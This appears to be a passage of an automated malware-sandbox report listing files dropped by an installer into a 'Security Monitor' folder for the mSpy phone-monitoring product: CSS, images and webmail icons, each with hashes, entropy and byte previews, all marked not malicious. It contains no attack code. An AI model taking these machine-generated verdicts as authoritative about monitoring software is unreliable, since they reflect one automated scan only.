SHA-512:	0E9B25744201D9C3DFE27BE2497A2B6B769846A77E3CEADAB0A6B916B0F342A8EFC13A0817036883D36E7461276004D3B57CE648B9C4C771656CE6FE8B9FB071
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4...,.....].......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-VGS5B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 520 x 260, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	163954
Entropy (8bit):	7.997380423199459
Encrypted:	true
SSDEEP:	3072:TXsC50/yArWhc9OsI3zpKpMy4HqUmHtcg/osHXLYlYbxl9NimU:AC5gGgZOKpx4+H0lYbxrK
MD5:	22DCF2D7C51348D365D4C6DB11AAA615
SHA1:	8CFDAD2E3F5757438D9B6A7E42E2EFC1D0378ED4
SHA-256:	30F40B224D899FADEB89099E87B702FAF573914259A955BF3861F4E970C8D9D0
SHA-512:	5B22757CA8BEF67B89CF23ACC51BF6B35F21D203939FE2D6C6E0FC5FCF17BA5486A982BA58141E052DDA8D1D58374E68ED33A2E15F359306AAD433EED80C9B24
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............[.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C31305036C6011E28948F21434340203" xmpMM:DocumentID="xmp.did:C31305046C6011E28948F21434340203"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C31305016C6011E28948F21434340203" stRef:documentID="xmp.did:C31305026C6011E28948F21434340203"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...p..\|.IDATx..G.$Iz&.*tD.\|.tuOuO..g0..X.....H..F.......N{ .<.@..5#y......b...aX..@...iY.....;.../2#2.j15Hk..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\logos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\main.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	222581
Entropy (8bit):	5.08641292920484
Encrypted:	false
SSDEEP:	6144:nml2NjrkK/xiuWs5su3SIM9eCUQqWC5mK7C:nml2NjrkK/xDsu3DM9eCULWC5mK7C
MD5:	B278DC17F1D04A093886C43920057567
SHA1:	25B6F13A20A79632261A7117F55A3F6575EF1A38
SHA-256:	C4FF671620CD870A457D54F926592092B4323ADA8C085ED75CE3705F2DFA11EF
SHA-512:	BE7C6EA7174ED9F1DD6370B6E18C636C36228C75CD25BEA8E1FB87BEB337912F521AEE6F584A873A0C17DCA87A3E2EAE9F4C26A4F154B78E084AE8EB21E6C742
Malicious:	false
Reputation:	unknown
Preview:	@font-face {. font-family: 'TeXGyreHerosRegular';. src: url('../fonts/texgyreheros-regular-webfont.eot');. src: url('../fonts/texgyreheros-regular-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-regular-webfont.woff') format('woff'),. url('../fonts/texgyreheros-regular-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-regular-webfont.svg#TeXGyreHerosRegular') format('svg');. font-weight: normal;. font-style: normal;.}..@font-face {. font-family: 'TeXGyreHerosItalic';. src: url('../fonts/texgyreheros-italic-webfont.eot');. src: url('../fonts/texgyreheros-italic-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-italic-webfont.woff') format('woff'),. url('../fonts/texgyreheros-italic-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-italic-webfont.svg#TeXGyreHerosItalic') format('svg');. font-weight: normal;. font-style: normal;..}..@font-face {. font-family

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\mspy_products_home_slide1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 520 x 260, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	163954
Entropy (8bit):	7.997380423199459
Encrypted:	true
SSDEEP:	3072:TXsC50/yArWhc9OsI3zpKpMy4HqUmHtcg/osHXLYlYbxl9NimU:AC5gGgZOKpx4+H0lYbxrK
MD5:	22DCF2D7C51348D365D4C6DB11AAA615
SHA1:	8CFDAD2E3F5757438D9B6A7E42E2EFC1D0378ED4
SHA-256:	30F40B224D899FADEB89099E87B702FAF573914259A955BF3861F4E970C8D9D0
SHA-512:	5B22757CA8BEF67B89CF23ACC51BF6B35F21D203939FE2D6C6E0FC5FCF17BA5486A982BA58141E052DDA8D1D58374E68ED33A2E15F359306AAD433EED80C9B24
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............[.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C31305036C6011E28948F21434340203" xmpMM:DocumentID="xmp.did:C31305046C6011E28948F21434340203"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C31305016C6011E28948F21434340203" stRef:documentID="xmp.did:C31305026C6011E28948F21434340203"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...p..\|.IDATx..G.$Iz&.*tD.\|.tuOuO..g0..X.....H..F.......N{ .<.@..5#y......b...aX..@...iY.....;.../2#2.j15Hk..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\photo1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	19946
Entropy (8bit):	7.9802553970586985
Encrypted:	false
SSDEEP:	384:PJXE05NCJU1LcNVmza+d5HrM5NKtj7iYGVRMS+GE1aSjk6N86:N35NCJU1LTRrw0tC1VRGGMbv7
MD5:	67762894881BFB63FB6961C18CB31251
SHA1:	0A1E5D5BF083BF5AB745CEF7F2F7DEEA28FA70D4
SHA-256:	9652BA4942B40A66C17785230946AB83320878DA3432B64B5815BFBFF267E247
SHA-512:	549A137F2E628D4BEEF1259F836FCEA8DD8E0C095F43DC9E1196CEA410CB232A7A6D8AE43501FA3DE78F6E242F2A66405E9543CF2B803DD1A9FFF2868A7DD653
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P........;....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\print.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	4.942541983682357
Encrypted:	false
SSDEEP:	24:hwyUwTlgKWSv5JZ0rKvG45jdSYqE2JeXNDs6izDNHZzz:h7+KZxJqQAeXi6i3Vtz
MD5:	6C9118F4F853D7ABC63505FD692D75F3
SHA1:	76B3CE5EC7FBEC277BD5357E2BD6AD2C461D2AEB
SHA-256:	077AA5312F62AC255FAB801D71E08970BC70E2DB469292BD9622B80EA15281C8
SHA-512:	1B81E2879067223419D09B4C6DF8A90F1255CD707EBEF0C490701E4701B721A7D4AC65860EB04083B51EB2F4CDD02D53AE880D6CD5534FF2A53C4824BE5D9E78
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /. { background:none !important;

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\reset.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9410
Entropy (8bit):	4.808156480467523
Encrypted:	false
SSDEEP:	192:8xTTXb1y2qsr2WlPFGU6NQ78CodleKl5DJ:8Rysr2UgnXeKl59
MD5:	8FE70C8D484CF5852239704F1A614273
SHA1:	F13788A7DDCD3EA44A34779803CC8D27EC5C3C13
SHA-256:	6D46AD7400BA5FE7CADB930AEDAF0A8FEAD8609A5E26DCD48B274E6AC146DD94
SHA-512:	754CCE55105E01CD9668E2570212140022BB52FDC0FD02C60C34C8B691BC45D7B2187FCBA95FB9FC196D6F438154A22DAD4AFC044A3A1FC80024725AFA3066A6
Malicious:	false
Reputation:	unknown
Preview:	./! normalize.css v1.0.1 \| MIT License \| git.io/normalize /../* ==========================================================================. HTML5 display definitions. ========================================================================== /../. * Corrects `block` display not defined in IE 6/7/8/9 and Firefox 3.. /..article,.aside,.details,.figcaption,.figure,.footer,.header,.hgroup,.nav,.section,.summary {. display: block;.}../. * Corrects `inline-block` display not defined in IE 6/7/8/9 and Firefox 3.. /..audio,.canvas,.video {. display: inline-block;. display: inline;. zoom: 1;.}../. * Prevents modern browsers from displaying `audio` without controls.. * Remove excess height in iOS 5 devices.. /..audio:not([controls]) {. display: none;. height: 0;.}../. * Addresses styling for `hidden` attribute not present in IE 7/8/9, Firefox 3,. * and Safari 4.. * Known issue: no IE 6 support.. /..[hidden] {. display: none;.}../ ===========================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\widgets.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4357
Entropy (8bit):	5.086666572264107
Encrypted:	false
SSDEEP:	48:h7+KZxJqQACHvdNOHAQVVZoxkVSmoAVxrYFQAR8/cr0Rx//rxCP7Rit/i7ri:hiex4CvdK30WvBcAMm9jxCP1iJini
MD5:	1BC699D294BA8BD26942A616C3EA89BF
SHA1:	A9D12A169CB0280B92DE02AB8C6C7C8DC1C1B378
SHA-256:	F54611C97CE99395B222F18FAB12115EA88182BD5FA922B8942DC5E792184D91
SHA-512:	895F0F099AE6A4CDF35B076B84D353762555A74C1A0FCA45DE438E2FD8E0468484FA4480FB84F94AEC42F2FC4EA5939E2A3107B446656D1ABFEAFAE86DCAA2D2
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /../ Widgets =======================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\GMX.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\GMX.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Gmail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.0034072391179
Encrypted:	false
SSDEEP:	24:3l4333333Ba333U7JDYF7336Ooi/F73afj/F72vcvtRaIDJluX5Ojk:VgWF+OZ/Fmj/Fgc6+uJOjk
MD5:	67B4BC8703A96A1CAB1B0AC8E37B26F8
SHA1:	363D0703311B99984E26F216A5205CD8D03E8389
SHA-256:	AE2369C58A93218087EB6B5535B1D2547F1FAE00DBC7303ACE8B3B1238BC7CB2
SHA-512:	0283160D49F3F7C17496B5476B2BF7689B3203E0E97CD36CA6EBE06A24D46A62F469C4F24E310220AA48D4FF7AD6D51A56621ED443AFAA50B7645B6688EBB33A
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................?_..MZ.L...I...P...P...P...P...P...P...P...P...P...P...H.8.H*?..LZ.MZ................................................./9../9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ................................................/9...9..KX.MZ......................p\|..co..................../9...9..KX.MZ..................P`..MZ..MZ..P[................./9...9..KX.MZ..............MZ..Q^..........O[..MZ..lw......./9...9..KX.MZ......Vc..MZ..co..................en..MZ..S]..../9...9..KX.MZ..MZ..MZ................................MZ..MZ..>K../9..MZ.MZ..O_..........................................R`..MZ..LW.KY.JYc.................................................Zg..LY.S..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Gmail.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	597
Entropy (8bit):	7.503484841838105
Encrypted:	false
SSDEEP:	12:6v/7w7/6TVuA6q45LsaGcUiSVgYtyHUzX8hXqY+sP5yuRGe0zwcu6S:X7/6xft45LqcUjGYUUzX8hXfPP0uiksS
MD5:	535102101CF2549EAAC03D4D2424C607
SHA1:	70BF44C6E737D6127182AB1D38840A448ED6A162
SHA-256:	2E520CE5AAAF8A0DC35E182FE8986438B8CAB107221304AB4C9EAA901E1956AE
SHA-512:	FA510429D278EDFC7576EC900B88A60D1E09B656CF558F16DBB1404137F372B89D67AD9B06EF6114D7353E4501486FEFD9284B888E53D29B8364604504C377D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sBIT....\|.d.....pHYs.................IDAT8..Mh.Q...{3.....&.1..Zqg.i.A%.`.\...F.(....(.....q.E.e.mA..Z.XK..6.L3..ys]....Wzv..s..........yj.&[..t....U.0....;.\|..[.....%..J.HbZ..T.......T.<BPJ..0p....1~[.OFgv...dLj..:D..'..Y...?t}ziMwx.@#..jj..S.c..<...o%s..M.tbI...........5...w.Q2i...i%./...\|..s...u.j&.............k..9..r,.....p..9qW..bRi..W....}DC....T..E<\|T0......0Ijx....\V.t...._..d.[....S.p(......>.....o.m...T[.pl[h..3.#..rE..v...wM..8[......h.,..G.~'...m?...5..V...e.b.=.7.!...D4....q)....%B.m?...o..#..9w1......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.RU.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.RU.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.com.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
MD5:	887346B0A7F145675E44AB17E35F54FE
SHA1:	C22531915DF0528177698EA3AD39DB9A70EA6869
SHA-256:	BAC266365103ED4DDCA35A3B2398886E2090BBE53899DC809FA7DC9599654BC9
SHA-512:	7EEC4DAE36617AE74FA8A916ED16746FD97BBC742C05BBA3250904660D1C8E87989D39BCEEAE405016A95F22BE937EBDB789A22E42CD1088F0ABF623916679B8
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .........................................................................................................................................................U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6V..........................................................Z..V..........................................................Z..V..........................................................Z..V..........................................................Z..V......................p...q...q...p.......................Z..V..............t...s...................u...s...............Z..V......z...p...................................q...w.......Z..T..j...................................................k...W..V..........................................................Z..V..........................................................Z..U..6V..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tV..tU..6..........................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Mail.com.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	284
Entropy (8bit):	6.999082250525666
Encrypted:	false
SSDEEP:	6:6v/lhPLzGx5AzGCL2yyI+9G1TWruJHixcusmPuAU/iCSS1zbuaVVp:6v/7DyeL2/Gor8HixWmkSEt7
MD5:	08D991D399E657EA3A81DA798D204DD8
SHA1:	8B8161A39DA344A96DCC40F8722D7C2BDAEE05D3
SHA-256:	0DC9ECD2BB9B3A9E95D45B431B050CB3B32D7D1913CAEE21223193F6D6DFA4C2
SHA-512:	C2CDCA46638E013B0196DA608FEC94846E006817852556BAD6702CC7A2798E93C3E6BC3678450C55C9C89590AF2BDE12C3032D449CCE7A3B5FF637987936000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDAT8..R...p...U.....\..rvt.6-".c...am.....!q.j.sPJ.0..;....#..P......7T.....#.1l..G.wc.T}YB%F8.R........Yv.zu?..........].....ag.v..d.v.X..].0..l'....e..f..5.."}.....Za.. ,S\|.......,t...p.d.{...]..u..U.D._....!9...q...W9].......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\16x16\Outlook Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.007783593279535
Encrypted:	false
SSDEEP:	24:w66666666666BOOOOOOOOOOSXOOOOOOOOOOSXOOO2OOOSXOeKLOSRMlSkHdOOOO9:w66666666666P3O66666666666/Ojk
